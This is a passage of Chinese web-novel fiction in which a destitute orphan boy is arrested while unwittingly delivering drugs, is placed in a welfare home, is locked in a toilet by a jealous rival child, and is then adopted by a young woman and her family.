不知道那头说了什么，黎母点了几次头：“嗯，可以的，我到时候去看看。”
挂掉电话，黎母说：“后天你跟我去福利院。”
黎娜看着窗外，月亮朦胧在云雾里，什么也没有说。
同一时间，沈知逸
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带着那个密封袋来到巷子深处，小黑狗摇头晃脑地走在他旁边。
风吹动树叶沙沙作响，鞋子踩在地上发出泥沙摩擦的声音，有种暴风雨前的宁静。
沈知逸拿出密封袋攥在手里，对着漆黑的巷子，打开喉咙，用力让声音变响亮。
“宫保鸡丁！”
没有动静。
“宫保鸡丁！”
还是没有动静。
就在他要第三次开口的时候，旁边黑暗的死角里窜出几个黑影，以一种闪电般速度来到他身后，锁住他的脖子，将他双手反剪在背后。
“宫保鸡丁？我还糖醋小排呢！”
沈知逸被按到地上，动弹不得，他下巴磕破了，吃了一嘴土，胳膊被强行扭转到身后，特别痛，骨头要断开了一样，有人用膝盖压住他的背，气都喘不上来。
一道强光打在他脸上，伴随着窸窸窣窣的声响，等他适应了光线，睁开眼睛，发现自己被五个警察包围了，还有一个正死死地按着他。
那个密封袋在他被擒拿的时候掉在了地上，警察弯腰捡起来看了一眼，半下蹲身子，把那包白色粉末递到沈知逸眼前。
“这是你的东西？”
沈知逸犹豫了一会，点头。
警察们面面相觑。
一般情况下，罪犯都是打死也不承认，然后他们再用河东狮吼震慑对方，说这里就你一个人，不是你的东西，难道是我的东西！但是没想到这个小男孩竟然直接承认了，还挺诚实。
警察又问他：“你知道这里面是什么东西吗？”
沈知逸看着他们，眼神无措，懵懂意识到自己可能犯了一个很严重的错误，不可饶恕。
他不知道该怎么办，摇头表示不知道。
也许看沈知逸从始至终都没有反抗辩解，还挺老实的，警察放开他，将他从地上拎起来，双手还反剪在身后，用手铐铐住，目光打量着他。
“我看你年纪也不大啊，不好好在学校上学，跑来干这个？这是犯罪你知不知道？”
其实，沈知逸到现在都搞不懂发生了什么。
他不过是答应黄毛，晚上到巷子最里面，说“宫保鸡丁”，然后会有人接“鱼香肉丝”。他把这包粉给说“鱼香肉丝”的那个人就行了，就能得到一百块钱。
警察看问不出东西，将沈知逸押上了警车。
到了警察局，面前三个警察，轮流审问，沈知逸磕磕巴巴地把知道的全说了，证据全被录下。
结束的时候，文员拿来一份文件，叫沈知逸签字。
沈知逸拿着笔，笔尖戳在纸上，许久没有动作。
警察催促道：“签字啊，自己的名字都不会写？上过学没有？”
沈知逸摇头。
他连饭都吃不上，还上学，哪来的钱。
警察突然想起，刚才问起沈知逸的父母，沈知逸很茫然不知道该怎么说。于是，警察又问他是不是孤儿，他想了一会，点了点头。
没有父母，也没上过学，从小到大都是孤身一人，从来没有人教他明辨是非，如果不干预引导，他下次还会被不法分子利用，变成人民的公敌，社会的害虫。
9. 仰望神明
那个和沈知逸对接的红色挑染男，一出现就被警察控制住了，从而守株待兔抓到了沈知逸。
审问完沈知逸，旁边审问红色挑染男的警察也出来了。一群警察把审问出来的内容对接一下，对情况有了大致的了解。
“那这个孩子……我们该如何处置呢？”
女警察翻看沈知逸的口供资料。
其余警察互相交换了一个眼神，试图从对方眼中看出想法是不是和自己的一样。
最终，所有警察收回视线，沉沉地叹了口气。
一大早被黎母敲门声吵醒，黎娜猛然想起今天要去福利院，鲤鱼打挺般从床上弹起来，花了五分钟洗漱完穿衣服。
跟黎母坐到车上的时候，她整个人还是没睡醒的懵逼状态，拿出一块白巧克力，目光呆滞地啃着。
黎母很不满地瞥了她一眼：“昨天晚上几点睡的？”
黎娜脸不红心不跳：“八点。”
黎母冷笑一声，显然不信。
福利院分为三个区域，孤儿区，聋哑儿童区和残疾儿童区，分别有一套独立的教学制度。
她们今天去的是孤儿区。
有老师带领她们去看小孩。
黎娜身体醒了，脑袋还没醒，跟在黎母身后，还在啃那块白巧克力。直到有个小男孩突然倒过来把黎娜撞了一下，她才彻底清醒了。
摔倒在地上的小男孩立刻爬起来，不停跟黎娜道歉：“姐姐对不起，我不是故意的，对不起！”
他低着头，眼眶发红，嘴唇抿得紧紧的，看起来要哭了。
老师回过头来看他，眉心皱起。
黎娜从口袋里拿出一块巧克力，弯下腰与他平视，把垂落的卷发重新别到耳后，笑容温柔。
“没关系，下次走路要小心一点，这个给你。”
那块包装精美的巧克力被黎娜递过来，小男孩眼睛一下子就亮了，双手接过来。
“谢谢姐姐，姐姐好漂亮。”
啊，小孩子果然是诚实的呢。
黎娜笑意更深，伸手揉了揉小男孩的脑袋。
不远处，沈知逸看到这一幕。
心中燃起的那一撮小火苗瞬间熄灭，在发现黎娜时而产生的喜悦也如同海浪般退去。
哦，原来她也会给别人好吃的，摸别人的头啊，原来她的好不是只对我一个人啊，我对于她来说，毫无特别之处，和别人一样。
其实也没有什么问题啊，我这样的人，对于她来说，算什么呢？又凭什么呢？
但沈知逸鼻腔内还是涌起一阵酸意，眼眶也开始发热。
走在前面的两名警察发现身后迟迟没有动静，回过头来一看，发现沈知逸跟他们落下一大截，鼻尖和眼睛还红红的。
警察愣了一下，喊他：“沈知逸，快跟上来啊，别走丢了！”
警察嗓门很大，且中气十足，他吼了这么一嗓子，整个孤儿区的小孩都朝他看过去了，其中也包括黎娜。
捕捉到黎娜有一个转头看向他的动作，沈知逸立刻收回视线，快走两步跟到警察身后，把自己隐藏起来。
结果警察直接把他拎到前面，跟老师说：“这个小孩儿，昨天我们批评教育了他一整天，他听得可认真了，一点不耐烦都没有，真的特别懂事特别乖，是个好孩子。”
老师目光慈爱：“是啊，这小孩儿一看就乖，您就放心吧，我们这的孩子和老师都特别好，你看——”
老师掌心向上指了个方向：“那是今天来领养小孩的，我们对领养人都做过很严格的调查，今天这个家里条件特别好，人也很不错，真不知道是哪个幸运儿能被她们领走。”
老师指的方向，正是黎娜她们。
两名警察看过去，沈知逸也偷偷抬眸，似无意间跟随着警察的动作，只有他自己知道忍得有多难受。
结果就这么一看，他心脏高速跳动起来，狠狠撞击着他的胸腔。
黎娜竟然朝他走过来了，身后还跟着一个中年女人。
沈知逸立刻垂下眼睛，当做没看到。
直到黎娜走到他面前，高挑纤瘦的身体落下一片阴影，让他再也无法忽视掉她的存在。
头顶传来她的声音：“沈知逸，你怎么在这里呀？”
黎娜又从口袋里摸出一块巧克力，递给沈知逸。
“要不要吃巧克力？”
沈知逸看着她手心里的巧克力，没有说话，也没有伸手去拿，慢慢后退了一步。
黎娜挑眉，收回巧克力，想伸手去摸他的脑袋。
他察觉到她的动作，立刻往后退，再次避开了她。
黎娜有点懵了，怎么了这是？
生她气了？
她干什么了，他就生气？
黎娜眯起眼睛，目光变得锐利。
沈知逸低头不吭声，手指抠着裤子侧缝。
被冷落的警察和老师一脸八卦，嘴巴张了又张，闭了又闭，最后还是老师先开了口：“你们认识？”
黎娜双臂环胸，很高冷的样子，用余光瞥了沈知逸一眼，冷冰冰地说：“不认识。”
沈知逸心脏一沉，抿住嘴唇。
不认识怎么会知道沈知逸的名字？警察和老师有些疑惑，不过看现在气氛怪怪的，就都没有开口问。
黎母走过来，扯了下黎娜的袖子：“刚才那个小男孩，我看还不错，人挺机灵懂事的，你跟我过去看看。”
黎娜点头，转身走了。
黎母看上的男孩子，就是刚才撞到黎娜的那个。
到手工教室，进一步相处，男孩就要开始展现自己的优势，留住领养人。
桌上放着他的绘画和粘土作品，还有他之前的试卷和习题，很少有错误，得分很高。
黎母越看越满意，脸上露出笑容。
“真厉害，你黎娜姐姐之前上学的时候，数学才考了六分。”
黎娜看天花板，她也就考过那一次六分，后来她就考到三十多分了，多厉害！虽然是一百三十分的卷子。
那时候黎父想让她多学点知识，在应试教育下也能锻炼一下抗压能力，就把她送去公立学校一直上到初二，结果她成绩一塌糊涂。
为她前途着想，黎
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父又把她送到国际学校，后来对接国外本科，就去国外上大学了，现在毕业起码混了个研究生文凭，这要是放在国内，门都没有。
男孩子也没有骄傲，指着一处错误，谦虚地说：“还是有点粗心大意了，这道题对了就能考一百了。”
黎母笑着点头，非常满意这个孩子。
他没光顾着捧高自己，还知道顾及黎娜的感受，很开朗地安慰黎娜：“黎娜姐姐虽然数学不好，但是她肯定有自己擅长的科目，老师说这个世界上没有完美的人，我们要接受自己的不足之处，扬长避短。”
看看，这小嘴多会说，小小年纪，情商就这么高，长大以后还得了啊。
黎母再看看自己的女儿，面露嫌弃，那眼神仿佛在说：我生了个什么玩意儿。
黎娜用同样的眼神还击回去，等再看向小男孩，目光又变得温柔起来，用手抚摸着他柔软的头发。
“谢谢你呀，你这么聪明，下次肯定能考一百分。”
风吹动教室门，轻磕着墙壁，发出令人烦躁的声音，黎娜皱眉望去，见沈知逸站在外面，身旁有两个警察，老师带他们来参观手工教室。
沈知逸对上她的目光。
短暂接触过后，沈知逸移开视线，仿佛看到的是个陌生人。黎娜凝眸盯着他，不知道他在闹什么别扭，或者他不是在闹别扭，而是他这个人就这样，很奇怪，情绪让人难以琢磨，很莫名其妙。
沈知逸坐到黎娜后面的位置，背对着她，接过老师递来的黏土和图纸，自己低头沉默地玩着。
男孩子有说不完话，总是逗得黎娜和黎母忍不住笑。
那笑声飘到沈知逸这里，化作一记闷捶砸在他脊背上，他瘦小的背影开始发僵发硬，脑袋更加低下来，脖子后面突起一串脊椎骨。
快要坐不下去了，沈知逸想离开去别的地方，他刚要站起来，就有一个短发女孩坐到他旁边。
女孩看起来比他年纪小一点，还没开始长身体，胳膊和脸颊肉嘟嘟的，特别可爱，她友好地朝沈知逸微笑。
“可以和你一起玩黏土吗？”
这是第一次有差不多年纪的小孩跟沈知逸说话，他有些不自在，轻轻地点了点头，往旁边挪了点位置给她。
多少分散了一些注意力，但他总是忍不住竖起耳朵听后面的声音。
黎娜显然有点玩嗨了，跟男孩做各种各样的小游戏，有时候输掉了，还会装模作样发点小脾气，赢了又会跟个小孩一样得意忘形。
忽然听到男孩问出一句“姐姐，你喜欢我吗”，沈知逸就有点按耐不住了，但也只是借由看桌子中间的图纸微侧着脸，用余光看后面。
黎娜双手撑着下巴，神色漫不经心：“喜欢啊，你真的很聪明诶，刚才那局五子棋一开始就给我设陷阱，姐姐都还没反应过来，你就赢了。”
男孩笑得很谦虚：“姐姐也很厉害啊，我也很喜欢姐姐。”
眼底浮上一层水雾，沈知逸低着头，用力睁大眼睛，让泪水有更大的蒸发空间，但情绪来势凶猛，难以控制，泪水越积越多，凝聚在眼睑处摇摇欲坠。
10. 仰望神明
“卫生间在出门往前走的拐角里哦。”
女孩捏好一只小狗，轻轻地放到桌子上。她知道沈知逸哭了，所以一直没有看他。
沈知逸站起来，用袖子擦了下眼睛，逃跑似的离开了手工教室。
本来看沈知逸和小女孩相处得不错，警察还挺欣慰的，结果一回头沈知逸就跑了，警察大声喊他。
“沈知逸，你跑哪儿去！”
沈知逸头都不回。
女孩替他说：“警察叔叔，他去上厕所啦，马上回来哦，你们稍等一下哦！”
奶声奶气的一声“警察叔叔”，叫得两名警察骨头都软了，还是小女孩儿可爱啊！
黎娜从沈知逸的背影上收回视线，也站起身来。
黎母看向她：“你干嘛去？”
她扯了扯嘴角：“出去转转。”
黎娜离开手工教室。
男孩放下铅笔，垂眸看着还没有下完的五子棋，眼底暗潮翻滚。
卫生间是将一个区域劈成两半，一半男厕所，一半女厕所，洗手台是男女共用的。
沈知逸看着镜子里的自己，脸上布满泪痕，鼻尖通红，睫毛湿润，眼睛里全是血丝，短时间内应该消不下去。
他打开水龙头，双手并拢接满水，整张脸埋进去，没有动，眼泪溢出来溶解在水里。
哭不出的声音，闷在胸腔里，带得肩膀开始颤抖，手指弯曲，混合着眼泪的水从指缝中流淌下来，沈知逸双手捂着脸，深吸口气，抹掉脸上的水，睁开眼睛，看到镜子里他身后站了个人，瞳孔瞬间收缩。
是黎娜。
沈知逸迅速低头垂眸，让睫毛盖住哭红的眼睛，当做没看到她，转身从她和洗手台之间的夹缝里钻出去。
黎娜立刻拉住他的胳膊，没让他走，目光落在他通红的眼睛和鼻子上，眉心微皱。
“怎么哭了，有人欺负你了？”
手臂上传来黎娜掌心的温度，沈知逸手指握紧又松开，看着自己的鞋尖，声音闷闷地说：“没有。”
“没有吗？”
黎娜把他拉到自己跟前，弯腰凑向他，距离越来越近，离他脸都不到二十厘米。沈知逸慌乱转移视线，偏开脸往后面躲，后腰突然贴到洗手台上，传来一阵湿意。
他眼底泛红，被黎娜这一举动逼得快哭了。
黎娜认真打量着他，目光锋利，似乎能将他心思穿透。
“沈知逸，我是不是做错什么事了？”
沈知逸看向别处，抿着嘴唇，特别委屈的样子，但是摇了摇头。
黎娜眯起眼睛，紧盯住他。
“那我怎么感觉，你生我气了。”
她脸靠得太近，视线仿佛带着温度，落在他脸上，他脸颊控制不住地发烫，皮肤上水痕蒸发，有点干，越干越热，他明明是生气的，但他现在却只有羞耻。
很想逃跑。
因为黎娜发现他生气了，这种情绪被发现，对于沈知逸而言，无异于将自己在乎黎娜这件事情彻底暴露出来，他好似被扒光衣服扔到大街上，所有的秘密都一览无余。
他盯着地上某处，手指死死地抠着裤子，不吭声。
黎娜脸色出现了一丝裂痕，严肃快要维持不下去了，她盯着沈知逸，忽然笑出了声，在他肩膀上轻拍两下。
“你别总是板着一张脸行不行，跟个小大人似的，你笑一笑嘛，这样人缘才会好，我看刚才就有小姑娘主动找你玩。”
沈知逸微微睁大眼睛，抑制住抬头看她的冲动，喉咙有些发紧。
她竟然看到了。
她竟然一直在关注着他。
黎娜手还搭在他肩膀上，端详着他的模样，笑容暧昧意味深长。
“仔细看看，我们小知逸长得挺帅的嘛，难怪有女孩子喜欢。”
前面一个“小知逸”就让沈知逸差点心脏骤停，后面又一个“长得帅”更让他浑身血液翻滚直往上涌。
其实他对长得帅没有概念，因为从来没有人这样夸过他，但是从黎娜嘴里听到，就莫名有点不好意思，同时还有些小开心，再深想下去又觉得不公平。
他的情绪越来越受黎娜影响，但黎娜却游刃有余。
这一发现让沈知逸感到很不知所措，也不知道该怎么办。
沈知逸头更低了，浓密的睫毛垂下来盖住了眼睛，后背上突然挨了一巴掌。
黎娜拍完他后背，双手握住他的肩膀往后掰。
“背挺直，不要驼背。”
然后把他前倾脖子按到后面，头摆正。
“要改改你这个弯腰驼背的坏习惯，看上去没精气神不说，以后骨头要出问题的。”
“还有，别总是低着头，站直走路，目视前方。我每次看你那样都跟做贼似的。”
黎娜纠正完体态，还用手比划了一下沈知逸的身高。
“你看，人站直了，一下子就高了五公分，看上去多精神！”
沈知逸被固定在这样的体态里，不敢乱动，目光怯懦地看向她，在接触到她视线的时候，瞬间移开看向别处。
真的是一个好别扭的小孩啊……
黎娜忍住笑，双手叉腰，故作愤怒地盯住他：“我长得很恐怖吗，干嘛不敢看我？”
沈知逸立刻摇头，重新对上她的目光，努力控制住不胡思乱想，认真专注地看着她漆黑的瞳孔，就这么过了几秒钟，他凝聚起来的注意力开始瓦解，又想低头躲避，幸好黎娜手机响了。
她接通，黎母的声音传出来：“你去哪里了，怎么还不回来，老师要跟我们谈一些事情。”
黎娜：“我现在回去。”
她挂断电话，视线回到沈知逸身上，伸手摸了摸他的脑袋，目光中充满了慈爱。
“不知道你为什么来到福利院，不过也挺好的，在这里有很多跟你同龄的小朋友，也有叔叔阿姨给你们做一日三餐，你不会再饿晕到大街上没人管了，也不会没有冬天的衣服穿，手脚上都是冻疮。”
沈知逸抬头看着她。
来到福利院是该开心的，但是为什么此刻反而难过呢？
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是因为他有一个幻想。
他知道自己什么都不会，连字都不认识一个，根本就不能引起领养人的注意，但还是生出一丝幻想，期待黎娜能放弃那个优秀的男孩，选择什么都没有的他。
但这根本不可能，他不配，他哪里都比不上那个男孩。
他这样的人，就只配烂在泥里。
黎娜回到手工教室，没看到男孩，之前的座位上有一名老师，看到她进来了，笑着主动跟她打招呼：“黎小姐，过来坐。”
黎娜微笑点头，坐到黎母旁边，和老师面对面。
老师面前放着那个男孩的过往成绩：“刚才小孩子跟你们相处过了，觉得还不错，接下来我想站在老师的角度下，跟你们具体说一下这个孩子的情况。”
黎母笑容亲切：“你说。”
“这个孩子叫陈研，八岁的时候来到了福利院，他以前拥有一个很幸福美满的家庭，不幸的是父母在出差途中意外去世了。他是一个非常努力刻苦的孩子，是同龄孩子中学习成绩最好的，对自己的要求非常高。”
老师喝了点水，继续道：“陈研这个孩子很有野心，有野心是好事也是坏事，有时候会导致孩子出现一些性格问题，简而言之就是跟自己过不去，爱跟自己较劲，认定一件事，不达目的不罢休，但这样的性格今后也更容易出人头地……”
黎娜和黎母认真地听着，时不时点一下头。
同一时间，沈知逸上完厕所，把裤子提上来，拉好拉链，一转头看到门外站着一个男孩，是很讨黎娜和黎母欢心的那个。
沈知逸收回目光，朝门口走。
陈研笑容友善，主动搭话：“你的名字叫沈知逸，对吗？”
沈知逸点头，稍微偏开点距离，打算从侧边一点的位置出去，避开陈研。
他快要走到门口，陈研突然后退一步，猛地摔上厕所门。
门板差点撞到沈知逸的脸，紧接着锁芯传来一阵转动的金属声音，陈研站在外面笑了一声，仿佛跟他开了一个小玩笑。
“我的领养人貌似对你有些兴趣，所以在我被领养之前，请你先待在里面。”
沈知逸按门把，转下面的小锁，门打不开。他用力拍门，拍到掌心疼痛发麻，不得不停下来，把耳朵贴在门上，只听到一阵渐行渐远的脚步声，忽然有些绝望。
手工教室内，黎母说：“我喜欢有野心的孩子，这个孩子很优秀，长得也端正，我很喜欢。”
黎娜垂眸，单手撑着下巴：“我有一个问题，既然他这么优秀，八岁就来到福利院了，都过去这么多年了，为什么没有被领走呢？”
老师脸色有一瞬僵硬，似乎被这个问题为难到了，想了几秒钟说：“其实有很多家庭选择他的，但这是一个双向选择，他也有拒绝的权利，所以有时候他被选择了，但是他没有选择那个领养人。他被成功领走过两次，都在磨合期被送回来了。”
黎母眉心皱紧，似是不解。
黎娜单手撑住下巴：“可以说一下他是什么原因被退回来的吗？”
11. 仰望神明
老师回忆着：“第一次是性格原因，第二次是和领养人的子女有矛盾。”
黎母松了口气：“我倒是很喜欢这个小孩的性格，至于和我的女儿有矛盾什么的，完全不是问题，我们和我女儿早就分开住了，而且看他们刚才相处得很好。”
黎娜从始至终几乎没表态，老师朝她看过去，征询她这个“姐姐”的意见，她无所谓地说：“我妈喜欢就行，我随意。”
老师这才放心地笑了：“那就没什么问题了，我们现在去签协议？”
黎母和黎娜点头，一起站起来。
陈研站在教室外面，把刚出来的老师和黎娜她们吓得一顿。
“陈研，你在这杵着干嘛，吓我一跳。”
陈研朝她们扬起一个灿烂的笑容：“对不起，吓到你们了，我想来看看姐姐。”
他目光落到黎娜身上，黎娜回他一个温柔的笑容。
老师看他们这样，也笑了：“你放心好了，你的姐姐跑不掉。”
陈研不好意思地低下头，挠了挠脖子。
黎娜笑容不变。
去往办公室的途中，要经过卫生间，陈研听到里面有细微的声音传出来，心跳瞬间加快，慌乱至极，但脸色依旧平静，拦住老师和黎娜她们，指了个远离卫生间的方向。
“老师，从这里走吧，卫生间有味道。”
老师愣了一愣：“好。”
黎母更满意了：“这孩子考虑得真周到。”
就这样，他们绕过了卫生间。
到办公室，老师打印领养协议，黎娜和黎母坐在一旁休息。
有人轻敲了两下办公室门，黎娜抬头望去，是那两名警察。
警察问：“你们看到沈知逸了吗？这孩子突然不见了。”
黎娜皱眉：“不见了？”
老师回过头来：“他不是去上厕所了吗？应该早上完回来了呀。”
警察说：“是呀，我们刚才回手工教室，没看到他人。”
黎娜问：“去卫生间看过了吗？”
警察说：“我们正要过去，这不路过办公室，想问一下你们看到他没有。”
黎娜说：“我们没有看到他，麻烦你们赶紧去找一下。”
“那必须的。”警察离开了。
陈研站在窗前，事不关己，用余光看了眼老师，领养协议已经打印好了，递到黎母手里。
黎母翻看一遍，没什么问题，拿起笔在上面签字，在写到最后一个名字的时候，办公室门外传来一阵骚动。
透过玻璃窗，黎娜看到刚才离开的那两名警察，正大步朝办公室走过来。其中一个怀里抱着小孩，看身形衣服挺眼熟的，好像是沈知逸。
黎娜不自觉站起身，迎了上去。
警察来到办公室门口：“不好意思啊老师，沈知逸这边突然出了点问题，我们先带他去趟医院。”
老师忙走过来，冬天衣服穿得厚，看不出沈知逸有什么问题，不过看他强忍痛苦，但依旧被痛得脸色惨白，眼眶发红的样子，想来是出了很严重的事情。
黎娜站在老师旁边，面色冰冷，语气沉静：“他怎么了？”
警察说：“我们也不清楚，我们过去的时候看到他从窗户上跳下来，人不大，胆子不小，那窗户有两米高。”
沈知逸待在警察怀里，偷偷抬眼看了下黎娜，在接触到她的目光时，又迅速移开，低着头埋在警察叔叔怀里，没出声。
黎娜问他：“你好端端的跳窗户干什么？活腻了？”
沈知逸目光越过她，看向站在窗前的陈研，嘴唇略微抿紧。
陈研非但没有心虚，反而大大方方迎上他的视线，露出一个得意且自信的笑容。
沈知逸收回视线，睫毛垂下来。
他想说是陈研把他关在厕所里，不让他出来的，可是这些话在喉咙里盘旋半天，一个字都发不出来。
会有人相信他的话吗？陈研那么乖巧，那么懂事，那么优秀，老师和黎娜都很喜欢陈研，而且陈研马上就要被领养走了，在这么关键的时刻，如果他说陈研的不好，会不会被认为在撒谎，故意抹黑陈研，想代替陈研被领养走。最重要的是，黎娜会相信他吗？
沈知逸忽然上不来气，感到一阵窒息，他看向黎娜，眼底浮上一层泪水。
黎娜看不懂他的眼神，心情莫名变得沉重起来，胸口好像被压了一块大石头。
有一种无形的东西在空气中僵持着，让所有人都发不出声音，直到女孩清脆稚嫩的声音响起，打碎玻璃般击破了此刻的僵局。
“陈研，你不要再欺负沈知逸了。”
是之前和沈知逸一起玩黏土的小女孩，她走到黎娜面前。
“我看到了，是陈研把沈知逸关进厕所里的，不让沈知逸出来的。”
在场人的目光，一瞬间落到陈研身上。
老师眉心紧皱。
黎母不可置信。
黎娜眼神淬冰，充满了压迫感。
老师严厉道：“陈研，你过来，说一下这是怎么回事！”
陈研喉咙肌肉痉挛了一下，咽了口吐沫，平静开口：“沈知逸？那是谁？我不认识。”
两名警察察觉到他的细微动作，也冷下脸：“小朋友，在我们面前可不要说谎，不然会被我们带去警察局关起来。”
陈研笑了一下：“可是，警察叔叔，我还是未成年。”
“未成年也一样。”
陈研耸了耸肩膀：“那好吧，我是把沈知逸关在厕所里了，但我不是故意的，我是想跟他玩捉迷藏，怕他偷看，所以才把他关进去的，门是不小心锁上的，我也不知道是怎么回事。”
他耐心地解释完，来到沈知逸跟前，语气诚恳：“沈知逸，对不起，请你原谅我好吗？”
沈知逸别开脸，没说话。
黎娜问：“沈知逸，是他说的这样吗？”
沈知逸摇头：“不是。”
小女孩用手指着陈研：“我说的都是真的，陈研在撒谎。”
矛头全部指向陈研。
陈研丝毫不慌乱，笑着说：“要怎么样你们才能相信我呢？”
所有人都看着他。
老师扶了扶眼镜：“陈研，今天你的领养人在这，你坦诚一点，别让我查监控。”
陈研看着窗外，不吭声。
老师直
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接调出监控，黎娜和黎母过去看。
监控摄像头没有正对着卫生间，稍微有点斜，不过画面和声音一清二楚。
老师看完，脸色黑如锅底，狠狠地剜了陈铭一眼。
黎母看向那份未签完的协议。
黎娜拿起那份协议，在众人目光下撕成碎片丢进垃圾桶，看向老师，语气如往常般温柔：“麻烦老师重新打印一份。”
老师愣了一愣，明白她话中的意思，说了一声“好”，又去重新打印了。
两名警察面面相觑：“那就没事了吧，我们带沈知逸去医院了？”
“好，赶紧去吧。”老师说。
“等一下。”黎娜突然出声。
警察转回身来。
沈知逸从警察怀里抬头，看向黎娜，他一脸茫然的样子，像极了窝在主人怀里的小狗，探头探脑的特别可爱。
黎娜也在看他，眼睛漆黑如同一口深井，让人看一眼就会失足跌落进去溺亡。她把脸前的头发别到耳后，红唇勾起一抹璀璨的笑意。
“沈知逸，你要不要当我弟弟？”
这话一出，所有人看向黎娜。
办公室内陷入一种诡异的寂静，黎娜坐在椅子上，面无表情，红唇紧闭，仿佛没有说过话，让沈知逸开始怀疑自己是不是听错了。
他这是……被黎娜选择了。
黎娜选择了他。
沈知逸心跳加速，震惊得睁大了双眼，看着黎娜，浑身的痛此刻都感受不到了，有一股暖流驱散了心中堆积的阴霾。
黎娜看他那傻乎乎的样子，忍不住笑了一下，目光温柔。
“没拒绝，那就是同意了对吧？”
沈知逸激动到说不出话，在警察怀里点头，怕老师和黎娜没看见，又连着点了两次，三次。
警察也笑了：“你小子运气真好，才来第一天就让人领走了，还是两个大美女，以后要好好听妈妈和姐姐的话呀。”
沈知逸眼眶发红，重重地点头。
黎娜拿了张纸，飞快写下一串号码，递给警察。
“等会告诉我医院地址，等签完协议，我过去接他回家。”
回家……
沈知逸呼吸静止。
他以前去街上捡垃圾吃的时候，总会看到爸爸妈妈牵着小孩回家。那时候别人都有家，而他没有。
现在，终于有人带他回家了。
两名警察和沈知逸离开后，黎母签完领养协议，看向站在窗前面无表情的陈研，幽幽地叹了口气，视线回到黎娜身上。
“你是不是认识刚才那小孩儿？”
黎娜点头：“见过几次，挺乖巧懂事的一个小孩。”
黎母又看了眼陈研，似乎觉得很遗憾：“不知道那小孩聪不聪明，能不能让你爸爸喜欢，不过再喜欢，也当不了自己的孩子。”
黎娜气笑了，冷嗤一声：“你来福利院，还想领养一个跟自己有血缘关系的孩子？你做梦呢？”
黎母不说话了，耷拉着脸，看上去不太高兴。
黎娜接了个电话，是警察打来的，跟她说医院的位置。
她离开办公室：“好，我现在过去。”
12. 仰望神明
到医院，黎娜找到病房。
警察简单跟她说明情况：“没什么大事，就是脚骨折了，胳膊和腿有点轻微的软组织挫伤。”
“好，我知道了，谢谢你们。”
黎娜拿起床上的骨头光片，跟警察寒暄了一会关于沈知逸的事情，他们就离开了。
沈知逸躺靠在床上，脚腕上打着石膏，胳膊和腿上鼓着大包，皮肤表面有些泛黄，空气中飘着一股药水苦味，可能刚喷完消肿药，黎娜小心翼翼地伸出手指。
指尖还未碰到他的脚腕，沈知逸就迅速往回收了一下，怕黎娜再碰，他拉起被子轻轻盖住，抬眸看了黎娜一眼，又很快垂下视线，专心致志地玩着自己的手指头。
“下次不许做这么危险的事了。”
黎娜坐到另一张空病床上，双手环胸，脸色严肃，俨然一副长辈教训晚辈的模样。
“以后你不再是一个人了，要知道照顾好自己的身体，不要让家人担心。”
沈知逸乖巧地点头，嘴角翘起一个小小的弧度。
原来被家人担心是这种感觉，像是在黑色海洋上漂泊了很久的小船，终于有了停靠的温暖港湾。
黎娜眼尖，瞥见他嘴角藏不住的笑意，也跟着笑了。
她身体前倾，凑向他，卷发从背后滑到前面来，微微挡住脸，显得脸更瘦，五官更大，她乌发红唇，明艳动人。
“那……沈知逸，你叫声姐姐来听听。”
她声音很轻，很温柔，如同一片绿叶落到平静的湖面上，荡起阵阵涟漪，飘到沈知逸那里，却好似通了电，钻开他的耳膜，直击心脏，他手指瞬间攥紧，再缓慢松开。
“快啊，叫姐姐。”
黎娜等不及了，又凑过去一点，单手撑着下巴，侧过脸，抬起头，用耳朵对着沈知逸。
她今天的耳饰很朴素，一个银色的圆环扣在耳垂上，下面挂着一颗小小的紫色水晶，随着她的呼吸频率轻轻摇晃着。
沈知逸看得出神，那个银色圆环穿过她的耳垂，他在想她会不会痛。
“沈、知、逸。”
黎娜皱眉，声音压低带着警告。
沈知逸回神，抿了抿干巴巴的嘴巴，低头轻声喊她：“姐姐。”
心里有种很奇怪的感觉。
黎娜笑了，有点欲求不满。
“乖，再喊一声。”
沈知逸撇开脸，耳朵发红。
“姐姐。”
黎娜没忍住发出一声笑，回过头来，狂揉沈知逸的脑袋。
“你怎么这么乖啊！让你干什么你就干什么，乖得要命哦！”
沈知逸顺着她的力道低头，让她摸得轻松一点。
当天晚上，沈知逸被转到VIP病房，黎娜就没有来过了，给他留下了一部手机，有时候给他打视频通话过来，监督他吃饭。
期间还来过一男一女，女的他认识，是黎母。男的他没见过，但能猜到是黎娜的爸爸。
黎父和黎娜长得很像，都是浓眉大眼高鼻梁，是个很温柔的中年男人。沈知逸刚开始很紧张，嘴巴张了半天不知道要喊他什么，样子特别傻。
黎父很随意地笑笑：“可以喊我叔叔，也可以喊我爸爸，一个称呼而已，或者像小刘那样，喊我一声黎董也不是不行。”
他说完，病房内笑声一片。
气氛轻松了不少。
沈知逸最终什么都没有喊出来，因为他很不好意思。
黎父跟他聊了几句，让人把拿来的东西放下，从始至终他语气和表情都很自然，要是不知道的人，还以为沈知逸是他亲儿子。
在黎父离开时，沈知逸鼓起勇气大声说了一句“谢谢”。
走到病房门口的黎父身形一顿，转回身来，满脸笑容地看着他。
“我们都是一家人，不用说谢谢。”
黎父离开后，护士姐姐帮沈知逸打开那些袋子，里面有一些进口零食，包装袋上全是英文，还有一个飞机模型，很重，金属质感，内部结构精致清楚。
护士很好奇，打开购物软件扫了一下那个飞机模型，下巴都快掉到地上了，瞪着手机屏幕爆了句粗口。
“我靠！十一万！我的妈呀，我一年不吃不喝工资全部加起来都没有十一万！”
沈知逸只对一百块钱以内的价格有概念。十一万，对他来说是个遥不可及，甚至想象不到的天文数字。
得到黎父的昂贵礼物，意味着这个家庭欢迎他的加入，他应该是开心的，但此刻看着这些礼物，他心里有点惴惴不安。因为骨子里的自卑让他有一种不配感，而且他无以为报，总是亏欠着他们，就会时刻战战兢兢。
在医院住了一个半月，沈知逸每天早上都满怀期待，到太阳落山，黑夜降临的时候，他又会希望落空。
住院期间，黎娜一次都没有来过，而且渐渐的，连视频通话都不给他打了。黎父黎母也没有来过，病房里总是他一个人。
出院那天，黎娜也没有出现。有一个穿着黑色西装的男人来到病房，确认他是沈知逸之后，开车将他带回黎家。
到黎家之前，要经过一片树林，城市的烟火气已经全部消失。
夜空是深邃的墨蓝，张牙舞爪的树枝向天空延伸，爆发着强烈的生命力，路上一辆车都没有，全是冷色彩的自然风景，有一种湿漉漉的静谧感。
车停了，西装男人为沈知逸打开车门。
沈知逸下来，看着眼前有十米长的铁栏杆门，还以为来到了公园。等门卫给他打开门，迎他进去，他才看到里面的复古洋楼，喷泉，湖泊，还有游泳池。
